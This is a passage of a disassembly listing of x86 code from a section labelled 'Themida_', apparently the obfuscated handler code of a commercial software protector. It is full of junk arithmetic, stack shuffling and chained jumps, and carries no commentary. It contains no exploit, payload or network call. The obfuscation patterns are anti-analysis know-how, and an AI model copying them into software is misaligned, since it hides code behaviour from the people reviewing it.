		jmp	loc_58D23B
; ---------------------------------------------------------------------------


loc_58F72D:				; CODE XREF: sub_584787+664Bj
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_58DC77
; ---------------------------------------------------------------------------


loc_58F739:				; CODE XREF: sub_584787+4EE8j
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_589A5C
; ---------------------------------------------------------------------------


loc_58F748:				; CODE XREF: sub_584787+202Dj
		pop	ecx
		push	eax
		mov	eax, 2EFC25DEh
		add	[esp+8], eax
		jmp	loc_585B58
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_58F758:				; DATA XREF: Themida_:005841A4o
		push	dword ptr [esp]
		pop	ecx
		push	6AA4h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		jmp	loc_58A894
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F771:				; CODE XREF: sub_584787+41C2j
		mov	ebp, 34626879h
		push	eax
		mov	eax, 500B00E4h
		dec	eax
		xor	eax, 31477C9Fh
		neg	eax
		jmp	loc_58A967
; ---------------------------------------------------------------------------


loc_58F789:				; CODE XREF: sub_584787+4F1Fj
		add	ebp, edi
		mov	edi, [esp+0Eh+var_10+2]
		add	esp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], ebx
		mov	ebx, 23E60310h
		add	ebx, 31DA497Eh
		dec	ebx
		push	ebp
		mov	ebp, 4E4A7B4Ch
		and	ebp, 5DC4084Dh
		shl	ebp, 5
		or	ebp, 400D08AFh
		xor	ebp, 9DCD4523h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_58C455
; ---------------------------------------------------------------------------


loc_58F7CC:				; CODE XREF: sub_584787+60D3j
		mov	[esp+58h+var_58], esp
		push	ecx
		mov	ecx, 4
		add	[esp+5Ch+var_58], ecx
		pop	ecx
		mov	edi, [esp+58h+var_58]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58C607
; ---------------------------------------------------------------------------


loc_58F7EA:				; CODE XREF: sub_584787+621Fj
		push	ecx
		mov	ecx, 0E5D43ACh
		xor	ecx, 0F19D7D61h
		add	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		jmp	loc_584CEC
; ---------------------------------------------------------------------------


loc_58F801:				; CODE XREF: sub_584787+521Aj
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	ebp
		push	esi
		mov	esi, 48A6613Eh
		mov	ebp, esi
		pop	esi
		sub	ebp, 218429FBh
		shr	ebp, 8
		push	ecx
		mov	ecx, 57AF420Dh
		and	ebp, ecx
		jmp	loc_584841
; ---------------------------------------------------------------------------


loc_58F82D:				; CODE XREF: sub_584787+BB7Cj
		shr	ah, 2
		push	edx
		mov	dh, 21h
		push	ebx
		mov	bh, 0E0h
		add	dh, bh
		pop	ebx
		add	ah, dh
		pop	edx
		add	ah, 4Eh
		inc	ah
		push	edx
		mov	dh, 0CDh
		add	dh, 8Eh
		neg	dh
		not	dh
		sub	dh, 9Ch
		jmp	loc_58DDB9
; ---------------------------------------------------------------------------


loc_58F853:				; CODE XREF: sub_584787+68D5j
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 47BD0248h
		sub	eax, edx
		pop	edx
		add	eax, 52DE5480h
		sub	eax, 1D2743B7h
		jmp	loc_58586D
; ---------------------------------------------------------------------------


loc_58F86E:				; CODE XREF: sub_584787+ADBBj
		pop	esi
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	sub_58F5B0
; ---------------------------------------------------------------------------


loc_58F87D:				; CODE XREF: sub_584787+7B29j
		mov	ecx, ebx
		pop	ebx
		and	ecx, 16146F8Ch
		add	ecx, 6D73666Eh
		xor	ecx, 3D873EBAh
		shl	ecx, 8
		add	ecx, 79DD75F2h
		jmp	loc_587C03
; ---------------------------------------------------------------------------


loc_58F8A0:				; CODE XREF: sub_584787+9E57j
		imul	cl
		movzx	cx, ah
		jmp	loc_58F04C
; ---------------------------------------------------------------------------


loc_58F8AB:				; CODE XREF: sub_584787+3ADAj
		mov	eax, 0DAA18036h
		add	edx, eax
		jmp	loc_585019
; ---------------------------------------------------------------------------


loc_58F8B7:				; CODE XREF: sub_584787+B9D0j
		mov	eax, 4
		jmp	loc_58FFE7
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_58F8C1	proc near		; CODE XREF: sub_584787+3B3Ej

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058F475 SIZE 00000015 BYTES

		push	ebp
		jmp	loc_58F475
sub_58F8C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F8C7:				; CODE XREF: sub_584787+3112j
		mov	eax, esi
		jmp	loc_587AFD
; ---------------------------------------------------------------------------


loc_58F8CE:				; CODE XREF: sub_584787+FE6j
		pop	esp
		add	ebx, 4
		push	ecx
		jmp	loc_590626
; ---------------------------------------------------------------------------


loc_58F8DB:				; CODE XREF: sub_584787+58F4j
		mov	ecx, 40FB06A3h
		jmp	loc_58EC2C
; ---------------------------------------------------------------------------


loc_58F8E5:				; CODE XREF: sub_584787+A461j
		pop	[esp+2Ah+var_2C+2]
		jmp	loc_584979
; ---------------------------------------------------------------------------


loc_58F8ED:				; CODE XREF: sub_584787+9988j
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_585F87
; ---------------------------------------------------------------------------


loc_58F903:				; CODE XREF: sub_584787+B4F6j
		mov	ecx, [esp+0]
		add	esp, 4
		dec	eax
		jmp	loc_585E2B
; ---------------------------------------------------------------------------


loc_58F90F:				; CODE XREF: sub_584787+2A0j
		xor	edi, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		push	small 0
		jmp	loc_585E5A
; ---------------------------------------------------------------------------


loc_58F91E:				; CODE XREF: sub_584787+A77Fj
		pop	esp
		idiv	cx
		push	2CA9h
		mov	[esp+0Ah+var_C+2], edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 5C6139E1h
		jmp	loc_587E08
; ---------------------------------------------------------------------------


loc_58F93D:				; CODE XREF: sub_584787+AC63j
		not	[esp+24h+var_26+2]
		pop	ecx
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		xchg	esi, ebx
		xor	edx, ebx
		xor	ebx, edx
		jmp	loc_58AAB2
; ---------------------------------------------------------------------------


loc_58F952:				; CODE XREF: sub_584787+174Fj
		push	eax
		mov	eax, 5AF95CA7h
		mov	esi, eax
		pop	eax
		jmp	loc_585B66
; ---------------------------------------------------------------------------


loc_58F960:				; CODE XREF: sub_584787+AB04j
		mov	[esp-0Ch+arg_8], esp
		push	esi
		jmp	loc_58E297
; ---------------------------------------------------------------------------


loc_58F969:				; CODE XREF: sub_584787+B609j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	52B0h
		mov	[esp-8+arg_4], ecx
		jmp	loc_58DEED
; ---------------------------------------------------------------------------


loc_58F97E:				; CODE XREF: sub_584787+8514j
		mov	edi, esi
		jmp	loc_5900F6
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5903F6


loc_58F985:				; CODE XREF: sub_5903F6+1j
		push	esp
		push	[esp+8+var_8]
		jmp	loc_586046
; END OF FUNCTION CHUNK	FOR sub_5903F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58F98E:				; CODE XREF: sub_584787+A1B1j
		push	58C7h
		mov	[esp+0Ah+var_C+2], ebp
		jmp	loc_5899DD
; ---------------------------------------------------------------------------


loc_58F99B:				; CODE XREF: sub_584787+22D3j
		xor	edi, ebp
		jmp	loc_58AC87
; ---------------------------------------------------------------------------


loc_58F9A2:				; CODE XREF: sub_584787+6857j
		add	edi, eax
		pop	eax
		sub	edi, 1DFD61D9h
		add	edi, eax
		add	edi, 1DFD61D9h
		sub	edi, 3DA74473h
		pop	eax
		std
		push	4ACFh
		mov	[esp+2Ah+var_2C+2], eax
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], edi
		push	17C4341Dh
		mov	edi, [esp+32h+var_34+2]
		push	eax
		mov	eax, esp
		push	4F22h
		mov	[esp+3Ah+var_3C+2], edi
		jmp	loc_58B5CB
; ---------------------------------------------------------------------------


loc_58F9E4:				; CODE XREF: sub_584787+2553j
		mov	bl, 6Bh
		add	bl, 2Eh
		jmp	loc_5895A7
; ---------------------------------------------------------------------------


loc_58F9EE:				; CODE XREF: sub_584787+5F62j
		mov	esi, edi
		pop	edi
		inc	esi
		sub	esi, 5EF770B4h
		or	esi, 431632EEh
		add	esi, 0D9404532h
		jmp	loc_58626B
; ---------------------------------------------------------------------------


loc_58FA09:				; CODE XREF: sub_584787+525j
		xor	edx, 54922E53h
		dec	edx
		xor	edx, 0DD836646h
		jmp	loc_58F1F1
; ---------------------------------------------------------------------------


loc_58FA1B:				; CODE XREF: sub_584787+29B3j
		pop	ebx
		mov	edx, [esp+0]
		add	esp, 4
		add	al, ch
		jmp	loc_58A4D5
; ---------------------------------------------------------------------------


loc_58FA2C:				; CODE XREF: sub_584787+A1F2j
		add	esp, 4
		push	ebp
		mov	ebp, 56966BE3h
		and	ecx, ebp
		pop	ebp
		push	edx
		mov	edx, 1EFB718Dh
		xor	ecx, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		sub	eax, 4D2E2F68h
		add	eax, ecx
		jmp	loc_584FB0
; ---------------------------------------------------------------------------


loc_58FA55:				; CODE XREF: sub_584787+A6B9j
		mov	esi, 751079B7h
		jmp	loc_5863F5
; ---------------------------------------------------------------------------


loc_58FA5F:				; CODE XREF: sub_584787+9886j
		pop	edi
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_584914
; ---------------------------------------------------------------------------


loc_58FA6B:				; CODE XREF: sub_584787+603Fj
		push	edx
		jmp	loc_58B526
; ---------------------------------------------------------------------------


loc_58FA71:				; CODE XREF: sub_584787+B450j
		add	ebp, 4
		push	ebp
		push	[esp+50h+var_4E+2]
		pop	ebp
		pop	dword ptr [esp+0]
		pop	esp
		push	edi
		jmp	loc_58D418
; ---------------------------------------------------------------------------


loc_58FA84:				; CODE XREF: sub_584787+51A9j
		mov	[esp-1Ch+arg_18], esp
		add	[esp-1Ch+arg_18], 4
		mov	ebx, [esp-1Ch+arg_18]
		add	esp, 4
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_58A059
; ---------------------------------------------------------------------------


loc_58FAA4:				; CODE XREF: sub_584787+4C73j
		mov	esi, 54111770h
		sub	ebx, esi
		pop	esi
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		jmp	loc_58F711
; ---------------------------------------------------------------------------


loc_58FAB7:				; CODE XREF: sub_584787+7B08j
		sub	eax, 2A5C2A1Eh
		mov	edx, [esp-18h+arg_12+2]
		add	esp, 4
		push	edi
		mov	edi, 7B1E5A00h
		sub	edi, 4A613DE3h
		add	eax, edi
		pop	edi
		sub	eax, ebx
		push	ebx
		mov	ebx, 61B271Ah
		jmp	loc_58A44C
; ---------------------------------------------------------------------------


loc_58FAE1:				; CODE XREF: sub_584787+5497j
		add	edx, 4
		jmp	loc_58BF8E
; ---------------------------------------------------------------------------


loc_58FAE9:				; CODE XREF: sub_584787+52D0j
		add	eax, ebx
		mov	ebx, [esp+0]
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ecx
		jmp	loc_58C0E2
; ---------------------------------------------------------------------------


loc_58FAFC:				; CODE XREF: sub_584787+B51Aj
		neg	dh
		and	dh, 0D4h
		push	ecx
		mov	cl, 0BBh
		sub	cl, 0FFh
		sub	dh, 9Bh
		sub	dh, 85h
		sub	dh, cl
		add	dh, 85h
		push	eax
		mov	al, 7
		shl	al, 8
		and	al, 0F7h
		inc	al
		add	al, 6Bh
		jmp	loc_589DF4
; ---------------------------------------------------------------------------


loc_58FB23:				; CODE XREF: sub_584787+9F81j
		add	edx, esi
		pop	esi
		push	5041h
		mov	[esp+26h+var_26], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_58520E
; ---------------------------------------------------------------------------


loc_58FB38:				; CODE XREF: sub_584787+C72j
		pop	esi
		jmp	loc_586FB2
; ---------------------------------------------------------------------------


loc_58FB3E:				; CODE XREF: sub_584787+A404j
		not	[esp+20h+var_20]
		jmp	loc_58A521
; ---------------------------------------------------------------------------


loc_58FB46:				; CODE XREF: sub_584787+2B9j
		inc	esi
		not	esi
		jmp	loc_58E621
; ---------------------------------------------------------------------------


loc_58FB4E:				; CODE XREF: sub_584787+2FEEj
		add	ebp, 0D4A5704h
		mov	ecx, ebp
		jmp	loc_58A1FD
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_58FB5B	proc near		; CODE XREF: sub_584787+1485j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 437F344Bh
		push	5521h
		jmp	loc_589CBF
sub_58FB5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_58FB73	proc near		; DATA XREF: Themida_:00584374o
		xor	[esp+0], edx
		xor	edx, [esp+0]
		jmp	loc_58AB11
sub_58FB73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58FB7E:				; CODE XREF: sub_584787+654Fj
		mov	ebx, esp
		push	esi
		mov	esi, 6B116412h
		shl	esi, 3
		push	edi
		mov	edi, 26234948h
		jmp	loc_5847D8
; ---------------------------------------------------------------------------


loc_58FB94:				; CODE XREF: sub_584787+3B97j
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ebp
		push	edi
		mov	edi, 21AF3607h
		mov	ebp, edi
		pop	edi
		add	ebp, 0FFFFFFFFh
		or	ebp, 0A7D3ADCh
		inc	ebp
		xor	ebp, 167D3B76h
		sub	ebx, ebp
		jmp	loc_58E3F1
; ---------------------------------------------------------------------------


loc_58FBBD:				; CODE XREF: sub_584787+6D85j
		pop	edx
		add	eax, 4
		xor	eax, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], eax
		xor	eax, [esp-0Ch+arg_8]
		jmp	loc_59008E
; ---------------------------------------------------------------------------


loc_58FBCF:				; CODE XREF: sub_584787+706Cj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58FA71
; ---------------------------------------------------------------------------


loc_58FBDC:				; CODE XREF: sub_584787+8BB9j
		mov	[esp+20h+var_20], ebp
		push	ecx
		jmp	loc_58BD9F
; ---------------------------------------------------------------------------


loc_58FBE5:				; CODE XREF: sub_584787+2CCDj
		add	ebp, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		add	ebp, 4
		jmp	loc_58A9E6
; ---------------------------------------------------------------------------


loc_58FBF8:				; CODE XREF: sub_584787+A9F2j
		mov	esp, [esp-4+arg_0]
		sub	al, dh
		jmp	loc_58BDE0
; ---------------------------------------------------------------------------


loc_58FC02:				; CODE XREF: sub_584787+6309j
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_58EF38
; ---------------------------------------------------------------------------


loc_58FC10:				; CODE XREF: sub_584787+A274j
		push	eax
		mov	eax, 2D3E421Dh
		dec	eax
		shr	eax, 1
		not	eax
		shr	eax, 4
		and	eax, 529833C0h
		xor	eax, 29001C4h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp+24h+var_26+2]
		pop	esp
		push	edi
		mov	edi, 2B512F9Fh
		xor	ebx, edi
		pop	edi
		mov	esi, ebx
		pop	ebx
		add	ebp, esi
		mov	esi, [esp+1Ch+var_1C]
		jmp	loc_590508
; ---------------------------------------------------------------------------


loc_58FC45:				; CODE XREF: sub_584787+8FB1j
		push	eax
		jmp	loc_58AFBA
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5904F2


loc_58FC4B:				; CODE XREF: sub_5904F2+1j
		xor	al, bl
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_58691E
; END OF FUNCTION CHUNK	FOR sub_5904F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58FC6A:				; CODE XREF: sub_584787+687Fj
		sub	edx, 694FD02Ah
		xor	ecx, edx
		mov	edx, [esp+2Ah+var_2C+2]
		add	esp, 4
		or	eax, ecx
		jmp	loc_58F903
; ---------------------------------------------------------------------------


loc_58FC82:				; CODE XREF: sub_584787+58CDj
		add	edx, 4
		push	ebp
		mov	ebp, 11615BEEh
		shl	ebp, 2
		inc	ebp
		jmp	loc_58AE0B
; ---------------------------------------------------------------------------


loc_58FC97:				; CODE XREF: sub_584787+6F7Bj
		add	edi, ebp
		pop	ebp
		jmp	loc_589FB1
; ---------------------------------------------------------------------------


loc_58FC9F:				; CODE XREF: sub_584787+7789j
		pop	ecx
		pop	ebx
		jmp	loc_58FAFC
; ---------------------------------------------------------------------------


loc_58FCA6:				; CODE XREF: sub_584787+901Fj
		xor	dl, 0E7h
		jmp	loc_58E6E1
; ---------------------------------------------------------------------------


loc_58FCAE:				; CODE XREF: sub_584787+56A7j
		push	ecx
		jmp	loc_5890BA
; ---------------------------------------------------------------------------


loc_58FCB4:				; CODE XREF: sub_584787+7A5j
		mov	ebx, 40D3239Eh
		inc	ebx
		xor	ebx, 153A0AF6h
		mov	esi, ebx
		pop	ebx
		jmp	loc_58B1AB
; ---------------------------------------------------------------------------


loc_58FCC8:				; CODE XREF: sub_584787+7FA7j
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_586FDB
; ---------------------------------------------------------------------------


loc_58FCD1:				; CODE XREF: sub_584787+B64Cj
		push	edx
		mov	dh, 0B0h
		shl	dh, 2
		or	dh, 42h
		jmp	loc_585C11
; ---------------------------------------------------------------------------


loc_58FCDF:				; CODE XREF: sub_584787+9FF8j
		mov	[esp+2Ah+var_2C+2], ebx
		jmp	loc_58CED2
; ---------------------------------------------------------------------------


loc_58FCE7:				; CODE XREF: sub_584787+5605j
		sub	bl, 4Eh
		add	bl, al
		add	bl, 4Eh
		pop	eax
		add	bl, al
		sub	bl, 0D3h
		jmp	loc_58BF00
; ---------------------------------------------------------------------------


loc_58FCFA:				; CODE XREF: sub_584787+5654j
		pop	edx
		push	edi
		mov	edi, 1B61063Fh
		shl	edi, 5
		add	edi, 75C15EC5h
		shr	edi, 6
		sub	edi, 3878896h
		sub	ecx, 619C72FEh
		sub	ecx, 2D04199Ch
		add	ecx, edi
		add	ecx, 2D04199Ch
		jmp	loc_584AFD
; ---------------------------------------------------------------------------


loc_58FD2C:				; CODE XREF: sub_584787+42DBj
		push	[esp+4Ch+var_4E+2]
		jmp	loc_58A4F2
; ---------------------------------------------------------------------------


loc_58FD34:				; CODE XREF: sub_584787+7421j
		push	ecx
		jmp	loc_58FDFF
; ---------------------------------------------------------------------------


loc_58FD3A:				; CODE XREF: sub_584787+3B2Cj
		mov	edi, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_58AB5F
; ---------------------------------------------------------------------------


loc_58FD45:				; CODE XREF: sub_584787+8B1Cj
		push	edx
		mov	edx, esp
		push	554Ch
		mov	[esp+0], ecx
		push	eax
		push	55DE6207h
		mov	eax, [esp+0]
		add	esp, 4
		xor	eax, 55DE6203h
		mov	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_58CB96
; ---------------------------------------------------------------------------


loc_58FD77:				; CODE XREF: sub_584787+984j
		sub	ebp, 4D415167h
		add	ebp, 0F5B12F12h
		jmp	loc_59051E
; ---------------------------------------------------------------------------


loc_58FD88:				; CODE XREF: sub_584787+487Ej
		push	3DCEh
		mov	[esp-4+arg_0], ebp
		jmp	loc_58F969
; ---------------------------------------------------------------------------


loc_58FD95:				; CODE XREF: sub_584787+19B1j
		and	eax, ebx
		push	[esp+1Ch+var_1C]
		mov	ebx, [esp+20h+var_20]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_585AEA
; ---------------------------------------------------------------------------


loc_58FDB5:				; CODE XREF: sub_584787+84CAj
		shr	edx, 2
		xor	edx, 61B44A73h
		shr	edx, 4
		jmp	loc_5853BC
; ---------------------------------------------------------------------------


loc_58FDC6:				; CODE XREF: sub_584787+A9E7j
		sub	al, 0ACh
		mov	dx, word ptr [esp+1Ch+var_1C]
		add	esp, 2
		push	ebx
		push	ecx
		mov	cl, 2Ch
		jmp	loc_58FCD1
; ---------------------------------------------------------------------------


loc_58FDD8:				; CODE XREF: sub_584787+2A92j
		add	esp, 4
		push	edx
		mov	edx, 2437166Bh
		push	ecx
		mov	ecx, 0D2016C9h
		or	ecx, 7FD869D0h
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 0FFFFFFFFh
		push	edx
		jmp	loc_58C62A
; ---------------------------------------------------------------------------


loc_58FDFF:				; CODE XREF: sub_584787+B5AEj
		mov	cl, 0BBh
		sub	cl, 26h
		push	edx
		mov	dl, 6
		xor	cl, dl
		pop	edx
		sub	bl, cl
		pop	ecx
		push	ecx
		mov	ch, 0E2h
		xor	bl, ch
		pop	ecx
		sub	bl, 0DEh
		sub	cl, bl
		pop	ebx
		jmp	loc_588B07
; ---------------------------------------------------------------------------


loc_58FE1E:				; CODE XREF: sub_584787+463Cj
		pop	edx
		jmp	loc_58D1E1
; ---------------------------------------------------------------------------


loc_58FE24:				; CODE XREF: sub_584787+2E29j
		pop	eax
		pop	[esp+52h+var_54+2]
		mov	esp, [esp+4Eh+var_4E]
		add	edi, 4
		jmp	loc_58ACB6
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_58FE36:				; DATA XREF: Themida_:005841ACo
		jmp	loc_584473
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58FE3B:				; CODE XREF: sub_584787+425Cj
		push	[esp+30h+var_2C]
		pop	edx
		pop	[esp+30h+var_30]
		jmp	loc_58950F
; ---------------------------------------------------------------------------


loc_58FE48:				; CODE XREF: sub_584787+9669j
		add	esp, 4
		sub	ebp, 0D7678E6h
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 32994564h
		xor	esi, 32994560h
		add	eax, esi
		mov	esi, [esp-14h+arg_E+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-14h+arg_E+2], eax
		push	[esp-14h+arg_12+2]
		pop	eax
		pop	[esp-14h+arg_E+2]
		pop	esp
		test	ecx, eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58FE7F:				; CODE XREF: sub_584787+A16Ej
		pop	edx
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		jmp	loc_58C3CD
; ---------------------------------------------------------------------------


loc_58FE8E:				; CODE XREF: sub_584787+9574j
		xchg	ecx, [esp+3Ch+var_3C]
		pop	esp
		add	ecx, 0FCC9E52Ah
		mov	esi, ecx
		pop	ecx
		jmp	loc_58E170
; ---------------------------------------------------------------------------


loc_58FEA0:				; CODE XREF: sub_584787+ABADj
		add	eax, 1DFD0821h
		push	edx
		mov	edx, 42674185h
		sub	eax, edx
		jmp	loc_58AEB3
; ---------------------------------------------------------------------------


loc_58FEB2:				; CODE XREF: sub_584787+91F4j
		xor	eax, ebx
		push	741Eh
		mov	[esp], edi
		push	0FFCh
		mov	[esp+26h+var_26], ecx
		mov	ecx, 45D3E75h
		mov	edi, 747A0CA1h
		jmp	loc_58E784
; ---------------------------------------------------------------------------


loc_58FED3:				; CODE XREF: sub_584787+6AAEj
					; sub_584787+7182j ...
		push	dword ptr [edi+24h]
		sub	[esp+6+var_8+2], 33343C5Eh
		jmp	loc_589B2B
; ---------------------------------------------------------------------------


loc_58FEE2:				; CODE XREF: sub_584787+85FFj
		dec	cl
		sub	cl, 9Eh
		dec	cl
		sub	esp, 2
		jmp	loc_58D35E
; ---------------------------------------------------------------------------


loc_58FEF4:				; CODE XREF: sub_584787+8403j
		mov	bl, al
		jmp	loc_58CD72
; ---------------------------------------------------------------------------


loc_58FEFB:				; CODE XREF: sub_584787+96D6j
		pop	esi
		jmp	loc_58E01F
; ---------------------------------------------------------------------------


loc_58FF01:				; CODE XREF: sub_584787+8ACAj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58FF06:				; CODE XREF: sub_584787+356j
		add	edx, 148D0A64h
		jmp	loc_585EC6
; ---------------------------------------------------------------------------


loc_58FF11:				; CODE XREF: sub_584787+2826j
		add	edi, 8688CCE8h
		add	eax, edi
		pop	edi
		jmp	loc_589BDA
; ---------------------------------------------------------------------------


loc_58FF1F:				; CODE XREF: sub_584787+13C3j
		xor	[esp+1Ch+var_1C], eax
		xor	eax, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], edx
		not	[esp+18h+var_18]
		pop	edx
		xchg	edx, ebx
		push	eax
		push	ebx
		mov	eax, [esp+1Ch+var_1C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		jmp	loc_58C867
; ---------------------------------------------------------------------------


loc_58FF49:				; CODE XREF: sub_584787+104Cj
		add	al, cl
		mov	ecx, [esp+1Ch+var_1C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	4
		pop	ecx
		jmp	loc_58DA16
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_58FF63	proc near		; CODE XREF: sub_584787+265Ej
		push	ebx
		push	ebp
		mov	ebp, 73576A67h
		dec	ebp
		inc	ebp
		inc	ebp
		push	ecx
		jmp	loc_58B48E
sub_58FF63	endp


; =============== S U B	R O U T	I N E =======================================



sub_58FF73	proc near		; CODE XREF: sub_584787+2B72j
		push	ebx
		push	ecx
		mov	ecx, 32486D85h
		jmp	loc_58DB29
sub_58FF73	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_58FF7F:				; CODE XREF: sub_584787+3572j
		sub	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ecx
		mov	ecx, 664A3421h
		jmp	loc_58BE1E
; ---------------------------------------------------------------------------


loc_58FF98:				; CODE XREF: sub_584787+84DDj
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebp
		push	edx
		mov	edx, 471F0556h
		shr	edx, 6
		inc	edx
		xor	edx, 2D4F75E9h
		push	0
		sub	[esp+34h+var_34], 59D8494Eh
		sub	[esp+34h+var_34], edx
		add	[esp+34h+var_34], 59D8494Eh
		jmp	loc_584C9F
; ---------------------------------------------------------------------------


loc_58FFCF:				; CODE XREF: sub_584787+7509j
		mov	eax, 2EC03566h
		jmp	loc_588DE1
; ---------------------------------------------------------------------------


loc_58FFD9:				; CODE XREF: sub_584787+5AB2j
		sub	eax, 55A50A9Bh
		shr	eax, 3
		push	esi
		jmp	loc_58DA8B
; ---------------------------------------------------------------------------


loc_58FFE7:				; CODE XREF: sub_584787+B135j
		add	ebx, eax
		mov	eax, [esp+5Eh+var_60+2]
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_585833
; ---------------------------------------------------------------------------


loc_58FFF7:				; CODE XREF: sub_584787+6C13j
		mov	ecx, [esp+0]
		add	esp, 4
		push	43460CE2h
		push	dword ptr [esp+0]
		jmp	loc_58ACCD
; ---------------------------------------------------------------------------


loc_59000D:				; CODE XREF: sub_584787+40C9j
		pop	ecx
		pop	ebx
		sub	eax, edi
		jmp	loc_58935F
; ---------------------------------------------------------------------------


loc_590016:				; CODE XREF: sub_584787+8A1Bj
		mov	ebp, [esp+2Ah+var_2C+2]
		jmp	loc_587210
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5900ED


loc_59001E:				; CODE XREF: sub_5900ED+4j
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	79B8h
		mov	[esp+0Ch+var_C], edx
		mov	edx, 4
		mov	ebx, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5855A2
; END OF FUNCTION CHUNK	FOR sub_5900ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_590047:				; CODE XREF: sub_584787+54DBj
		xor	[esp+10h+var_10], esi
		xor	esi, [esp+10h+var_10]
		pop	esp
		sar	byte ptr [esp+0Ch+var_C], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_590057:				; CODE XREF: sub_584787+4575j
		sub	edx, 2
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_584473
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_59006F	proc near		; CODE XREF: sub_584787+4BE3j
					; sub_584787+BC6Aj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		add	[esp+4+var_4], 15680B99h
		mov	eax, [esp+4+var_4]
		push	3D31h
